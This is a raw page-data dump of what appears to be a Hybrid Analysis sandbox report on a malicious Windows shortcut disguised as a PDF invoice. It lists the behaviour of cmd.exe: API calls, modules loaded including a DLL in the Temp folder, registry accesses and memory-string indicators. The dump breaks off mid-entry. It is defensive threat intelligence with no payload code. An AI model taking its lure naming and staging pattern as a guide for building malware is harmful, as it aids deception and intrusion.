24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 51:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Exploit.Lnk Sample 45171981ac23… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 45171981ac23…. Malware family: Exploit.Lnk. Threat score 100/100. 10/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e","keywords":["Malicious","Exploit.Lnk","malware analysis","sandbox report","threat intelligence","45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e"],"about":{"@type":"SoftwareApplication","name":"agreement-inovice.pdf.lnk","applicationCategory":["lnk"],"identifier":"45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Exploit.Lnk","antivirusDetections":{"malicious":10,"total":26},"behavioralIndicators":{"malicious":15,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9ca,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003872) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003872) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004308) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004308)26:T23e2,"cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003872) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004308) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004308)27:T613,"cmd.exe" loaded module "KERNEL32" at base 7fff91ed0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fff8e7c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fff8e7c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fff8e7c0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7fff90140000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fff8e7c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fff8e7c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fff8e7c0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff6fab0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7fff91fb0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7fff91ed0000 "cmd.exe" loaded module "NTVDM64.DLL" at base 7fff7bdc0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff8c980000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7fff8fe20000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7fff8ff90000 "cmd.exe" loaded module "OLEAUT32.DLL" at base 7fff8f7b0000 "cmd.exe" loaded module "RPCRT4.DLL" at base 7fff8fbf0000 "cmd.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7fff91680000 "cmd.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7fff91680000 "cmd.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7fff8f480000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 7fff8fa7000028:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")29:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")2a:T564,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp") Found reference to API "_WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp")2b:T84c,Found reference to API "LibraryLoader.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API "Using cdll.LoadLibrary():" (Indicator: "LoadLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp")2c:T12e9,file/memory contains long string with (Indicator: "SHA384"; File: "_SHA384.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_SHA512.pyd") file/memory contains long string with (Indicator: "RC2"; File: "_raw_arc2.pyd") Found reference to "bCryptodome\Hash\_SHA384.pyd" (Indicator: "SHA384"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found reference to "bCryptodome\Hash\_SHA512.pyd" (Indicator: "SHA512"; Source: "00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp") Found reference to "_hashlib.HMAC" (Indicator: "HMAC"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found reference to "Cryptodome.Hash.HMAC" (Indicator: "HMAC"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.0B530000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.0B530000.00000004.mdmp") Found reference to "Cryptodome.Hash.SHA384" (Indicator: "SHA384"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to "Cryptodome.Hash.SHA512" (Indicator: "SHA512"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000000.184119.0A480000.00000004.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0A480000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0A480000.00000004.mdmp, 00000000-00001384.00000002.187961.0B101000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000000.184119.0A480000.00000004.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0A480000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE64000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0A480000.00000004.mdmp, 00000000-00001384.00000002.187961.0B101000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0B101000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found reference to "SHA512-224" (Indicator: "SHA512"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0B530000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0B530000.00000004.mdmp, 00000000-00001384.00000002.187961.1A030000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp") Found reference to "SHA512-256" (Indicator: "SHA512"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.0B530000.00000004.mdmp, 00000000-00001384.00000001.186039.DB8B2000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.0B530000.00000004.mdmp, 00000000-00001384.00000002.187961.1A030000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp")2d:T830,"pld.com" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\CLIPCHAMP.CLIPCHAMP_2.9.1.0_NEUTRAL__YXZ26NHYZHSRT\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\REPOSITORY\PACKAGES\CLIPCHAMP.CLIPCHAMP_2.9.1.0_NEUTRAL__YXZ26NHYZHSRT\APP\CAPABILITIES\URLASSOCIATIONS") "pld.com" (Access type: 